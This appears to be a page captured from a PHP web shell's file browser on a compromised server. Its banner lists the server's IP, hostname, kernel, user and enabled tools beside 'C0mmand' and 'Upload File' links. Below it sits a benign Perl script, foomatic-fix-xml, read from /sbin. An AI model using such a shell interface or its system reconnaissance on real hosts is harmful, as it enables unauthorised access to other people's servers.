#PEAR_Config 0.9 a:12:{s:7:"php_dir";s:67:"//pear/php";s:8:"data_dir";s:68:"//pear/data";s:7:"www_dir";s:67:"//pear/www";s:7:"cfg_dir";s:67:"//pear/cfg";s:7:"ext_dir";s:67:"//pear/ext";s:7:"doc_dir";s:68:"//pear/docs";s:8:"test_dir";s:69:"//pear/tests";s:9:"cache_dir";s:69:"//pear/cache";s:12:"download_dir";s:72:"//pear/download";s:8:"temp_dir";s:68:"//pear/temp";s:7:"bin_dir";s:63:"//pear";s:7:"man_dir";s:67:"//pear/man";}
Server IP : 99.192.176.69  /  Your IP : 216.73.217.59
Web Server : Apache
System : Linux platinumpuzzy2.eosdns.net 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64
User : bbwcamhouse ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /../sbin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../sbin/foomatic-fix-xml
#!/usr/bin/perl

# This is foomatic-fix-xml, run this program if you have compiled
# foomatic-perl-data against libxml 1.x and you have old database
# entries with a leading blank line. libxml 1.x chokes on leading
# blank lines.

my $libdir;
if ($#ARGV > -1) {
    if ($ARGV[0] eq "-h") {
	print STDERR "
Usage: foomatic-fix-xml [ dir ]

       dir: Directory where the Foomatic database is located, default:
            /usr/share/foomatic

";
	exit(1);
    } else {
	$libdir = $ARGV[0];
    }
} else {
    $libdir = "/usr/share/foomatic";
}

# A little bit of statistics
my $filesmodified = 0;

# Read the directory with the driver's XML entries
for my $dir (qw/printer driver opt/) {
    opendir DIR, "$libdir/db/source/$dir" ||
	die "Cannot open driver XML directory!\n";
    my $file;
    while ($file = readdir(DIR)) {
	next if ($file !~ /.xml$/);
	open XMLFILE, "< $libdir/db/source/$dir/$file" || die "   Database entry $file cannot be read!\n";
	my @contents = <XMLFILE>;
	close XMLFILE;
	my $filemodified = 0;
	while ($contents[0] =~ /^\s*$/) {
	    shift @contents;
	    $filemodified = 1;
	}
	if ($contents[0] !~ /^</) {
	    $contents[0] =~ s/^\s*</</;
	    $filemodified = 1;
	}
	if ($filemodified) {
	    open XMLFILE, "> $libdir/db/source/$dir/$file" || die "   Database entry $file cannot be written!\n";
	    print XMLFILE join('', @contents);
	    close XMLFILE;
	    print "Corrected file $libdir/db/source/$dir/$file\n";
	    $filesmodified ++;
	}
    }
}
closedir DIR;
print "\nCorrected $filesmodified files.\n\n";